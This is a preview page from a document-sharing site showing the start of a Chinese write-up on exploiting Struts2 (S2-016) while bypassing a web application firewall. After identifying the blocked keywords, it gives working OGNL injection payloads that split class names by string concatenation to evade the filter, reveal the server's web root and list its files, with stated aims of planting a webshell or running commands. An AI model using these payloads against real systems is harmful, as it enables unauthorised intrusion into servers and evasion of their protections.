没有合适的资源?快使用搜索试试~ 我知道了~
struts2绕过waf读写文件及另类方式执行命令.doc
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
0 下载量 17 浏览量
2022-07-08
17:52:52
上传
评论
收藏 12.08MB DOC 举报
温馨提示
试读
17页
struts2绕过waf读写文件及另类方式执行命令.doc
资源推荐
资源详情
资源评论
struts2 绕过 waf 读写文件及另类方式执行命令
之前碰到过好几次 Struts2,还都是 016,项目、众测都遇到过,每次都只是证明了一下存
在,由于 waf 的存在,没有深入去利用,这里简单的记录下。
0x01 背景
xray 或者 Struts2 漏扫可以扫到网站存在 Struts2 漏洞
但是执行命令会发现直接 Connection Reset,很明显是被 waf 拦截了
0x02 探究 waf 规则
一个一个删除关键字,发现拦截的关键字有三个:
Runtime、dispatcher
Runtime 很熟悉,执行命令一般都用这个,拦截了这个关键字,执行命令还是比较困难的
dispatcher 比较陌生,查了资料以后发现是读取 Struts2 的请求对象中的关键字
getRealPath 字面意思,获取真实路径
0x03 尝试突破
简单说一下思路,在绕过 waf 关键字的前提下进行读、写文件,如 webshell 落地;或者
直接执行命令,如 CS 上线等。
dispatcher 绕过
可以通过拼接进行绕过,部分代码如下:
#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletReq’+’uest’)
读、写文件绕过
0x001 获取 web 目录
首先要绕过 getRealPath 关键字,可以使用 req.getClass().getResource(“/”).getPath()进行绕过
redirect:${#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vlet
Req’+’uest’),#resp=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’v
letRes’+’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter
(),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(#req.getClass().getResource(“/”).getPath()),#ot.flush
(),#ot.close()}
0x002 查看目录的文件并列举出来
读取当前目录的第一个文件名,payload 如下:
redirect:http://www.baidu.com${#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’
atcher.HttpSer’+’vletReq’+’uest’),#resp=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’
+’atcher.HttpSer’+’vletRes’+’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter
(),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[1]),#ot.flush(),#ot.close()}
这里由于也没有进行深入研究 ognl 的迭代,所以直接在 index 累加了数字,如下:
redirect:http://www.baidu.com${#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’
atcher.HttpSer’+’vletReq’+’uest’),#resp=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’
+’atcher.HttpSer’+’vletRes’+’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter
(),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[1]),#ot.print(‘\n’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[2]),#ot.print(‘\n’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[3]),#ot.print(‘\n’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[4]),#ot.print(‘\n’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[5]),#ot.print(‘\n’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[6]),#ot.print(‘\n’),#ot.print(new
java.io.File(#req.getClass().getResource(“/”).getPath()).list()[7]),#ot.flush(),#ot.close()}
剩余16页未读,继续阅读
资源评论
书博教育
- 粉丝: 1
- 资源: 2834
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- navicat开发教程.docx
- 基于图像的机器人视觉伺服系统研究
- CAD实验报告:制药车间动力控制系统图、烘烤车间电气控制图、JSJ型晶体管式时间继电器原理图、液位控制器电路图
- IMG_9692.PNG
- 基于SpringBoot+Vue 的网上书城项目源码+数据库脚本(毕业设计)
- 基于springboot+vue的网上书店系统源码+数据库+使用文档(高分毕设)
- 前端学习路线推荐+自己做的一个前端项目(旅游线路推广)+通过购买腾讯云服务器上传的个人经历(附带部分关键源码)
- 制造业IT规划咨询汇报方案
- 开车不犯困100首.之1~10,DJ
- Keil 找不到编译器 Missing:Complier Version5 的解决方法
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功